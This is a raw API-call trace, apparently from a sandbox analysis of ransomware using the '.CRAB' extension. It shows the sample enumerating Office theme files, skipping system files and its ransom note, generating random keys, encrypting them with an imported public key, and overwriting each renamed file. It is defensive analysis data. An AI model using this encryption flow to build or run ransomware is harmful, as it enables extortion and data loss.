	[0114.978] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033917[[fn=berlin]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033917[[fn=berlin]].thmx.crab")) returned 1
	[0114.979] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0114.979] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx.CRAB"
	[0114.979] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx.CRAB.CRAB"
	[0114.979] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e9e0) returned 1
	[0114.980] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0114.981] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0114.981] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0114.981] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0114.981] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0114.981] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.981] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0114.982] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0114.982] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0114.983] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0114.983] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0114.983] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0114.983] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.983] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0114.983] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0114.984] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e9e0) returned 1
	[0114.984] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4a60) returned 1
	[0114.984] CryptGetKeyParam (in: hKey=0xda4a60, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0114.984] CryptEncrypt (in: hKey=0xda4a60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0114.985] GetLastError () returned 0x0
	[0114.985] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0114.985] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6eb78) returned 1
	[0114.985] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda44a0) returned 1
	[0114.985] CryptGetKeyParam (in: hKey=0xda44a0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0114.985] CryptEncrypt (in: hKey=0xda44a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0114.986] GetLastError () returned 0x0
	[0114.986] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0114.986] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033917[[fn=berlin]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0114.986] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0114.987] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0114.987] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0xee481, lpOverlapped=0x0) returned 1
	[0115.047] VirtualAlloc (lpAddress=0x0, dwSize=0xee490, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0115.062] VirtualAlloc (lpAddress=0x0, dwSize=0xee490, flAllocationType=0x3000, flProtect=0x4) returned 0x3450000
	[0115.080] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.084] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff11b7f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.084] WriteFile (in: hFile=0x3fc, lpBuffer=0x3450000*, nNumberOfBytesToWrite=0xee490, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3450000*, lpNumberOfBytesWritten=0x3147f1c*=0xee490, lpOverlapped=0x0) returned 1
	[0115.087] VirtualFree (lpAddress=0x3450000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.090] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.094] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0115.094] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0115.094] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0115.094] CloseHandle (hObject=0x3fc) returned 1
	[0115.111] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.112] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.112] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.112] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.113] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.113] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.113] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0115.113] lstrcmpW (lpString1="TM04033919[[fn=Circuit]].thmx", lpString2=".") returned 1
	[0115.114] lstrcmpW (lpString1="TM04033919[[fn=Circuit]].thmx", lpString2="..") returned 1
	[0115.114] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033919[[fn=Circuit]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx"
	[0115.114] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0115.114] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx") returned 131
	[0115.114] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx") returned 131
	[0115.114] lstrlenW (lpString=".thmx") returned 5
	[0115.114] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0115.114] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0115.115] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.115] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx") returned 131
	[0115.115] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx") returned 131
	[0115.115] lstrcmpiW (lpString1="TM04033919[[fn=Circuit]].thmx", lpString2="desktop.ini") returned 1
	[0115.115] lstrcmpiW (lpString1="TM04033919[[fn=Circuit]].thmx", lpString2="autorun.inf") returned 1
	[0115.115] lstrcmpiW (lpString1="TM04033919[[fn=Circuit]].thmx", lpString2="ntuser.dat") returned 1
	[0115.115] lstrcmpiW (lpString1="TM04033919[[fn=Circuit]].thmx", lpString2="iconcache.db") returned 1
	[0115.115] lstrcmpiW (lpString1="TM04033919[[fn=Circuit]].thmx", lpString2="bootsect.bak") returned 1
	[0115.115] lstrcmpiW (lpString1="TM04033919[[fn=Circuit]].thmx", lpString2="boot.ini") returned 1
	[0115.115] lstrcmpiW (lpString1="TM04033919[[fn=Circuit]].thmx", lpString2="ntuser.dat.log") returned 1
	[0115.115] lstrcmpiW (lpString1="TM04033919[[fn=Circuit]].thmx", lpString2="thumbs.db") returned 1
	[0115.116] lstrcmpiW (lpString1="TM04033919[[fn=Circuit]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0115.116] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0115.116] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx.CRAB") returned 136
	[0115.116] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033919[[fn=circuit]].thmx")) returned 0x20
	[0115.117] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx", dwFileAttributes=0x20) returned 1
	[0115.118] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033919[[fn=circuit]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033919[[fn=circuit]].thmx.crab")) returned 1
	[0115.119] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0115.120] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx.CRAB"
	[0115.120] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx.CRAB.CRAB"
	[0115.120] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0115.121] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0115.121] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0115.121] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0115.121] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0115.122] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0115.122] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.122] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ed98) returned 1
	[0115.122] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0115.123] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0115.124] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0115.124] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0115.124] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0115.124] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.124] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0115.124] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0115.125] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0115.126] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4ba0) returned 1
	[0115.126] CryptGetKeyParam (in: hKey=0xda4ba0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0115.126] CryptEncrypt (in: hKey=0xda4ba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0115.126] GetLastError () returned 0x0
	[0115.127] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0115.127] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e5a0) returned 1
	[0115.127] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda48e0) returned 1
	[0115.127] CryptGetKeyParam (in: hKey=0xda48e0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0115.127] CryptEncrypt (in: hKey=0xda48e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0115.128] GetLastError () returned 0x0
	[0115.128] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0115.128] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033919[[fn=circuit]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0115.128] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0115.129] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0115.129] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x100000, lpOverlapped=0x0) returned 1
	[0115.168] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0115.187] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0115.211] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.215] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.215] WriteFile (in: hFile=0x3fc, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3147f1c*=0x100000, lpOverlapped=0x0) returned 1
	[0115.218] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.222] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x65552, lpOverlapped=0x0) returned 1
	[0115.229] VirtualAlloc (lpAddress=0x0, dwSize=0x65560, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0115.234] VirtualAlloc (lpAddress=0x0, dwSize=0x65560, flAllocationType=0x3000, flProtect=0x4) returned 0x33d0000
	[0115.243] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.244] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff9aaae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.244] WriteFile (in: hFile=0x3fc, lpBuffer=0x33d0000*, nNumberOfBytesToWrite=0x65560, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x33d0000*, lpNumberOfBytesWritten=0x3147f1c*=0x65560, lpOverlapped=0x0) returned 1
	[0115.245] VirtualFree (lpAddress=0x33d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.247] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.251] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0115.251] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0115.251] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0115.252] CloseHandle (hObject=0x3fc) returned 1
	[0115.277] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.278] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.278] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.279] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.279] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.279] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.279] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0115.279] lstrcmpW (lpString1="TM04033921[[fn=Damask]].thmx", lpString2=".") returned 1
	[0115.279] lstrcmpW (lpString1="TM04033921[[fn=Damask]].thmx", lpString2="..") returned 1
	[0115.279] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033921[[fn=Damask]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx"
	[0115.280] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0115.280] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx") returned 130
	[0115.280] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx") returned 130
	[0115.280] lstrlenW (lpString=".thmx") returned 5
	[0115.280] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0115.280] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0115.280] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.281] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx") returned 130
	[0115.281] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx") returned 130
	[0115.281] lstrcmpiW (lpString1="TM04033921[[fn=Damask]].thmx", lpString2="desktop.ini") returned 1
	[0115.281] lstrcmpiW (lpString1="TM04033921[[fn=Damask]].thmx", lpString2="autorun.inf") returned 1
	[0115.281] lstrcmpiW (lpString1="TM04033921[[fn=Damask]].thmx", lpString2="ntuser.dat") returned 1
	[0115.281] lstrcmpiW (lpString1="TM04033921[[fn=Damask]].thmx", lpString2="iconcache.db") returned 1
	[0115.281] lstrcmpiW (lpString1="TM04033921[[fn=Damask]].thmx", lpString2="bootsect.bak") returned 1
	[0115.281] lstrcmpiW (lpString1="TM04033921[[fn=Damask]].thmx", lpString2="boot.ini") returned 1
	[0115.281] lstrcmpiW (lpString1="TM04033921[[fn=Damask]].thmx", lpString2="ntuser.dat.log") returned 1
	[0115.281] lstrcmpiW (lpString1="TM04033921[[fn=Damask]].thmx", lpString2="thumbs.db") returned 1
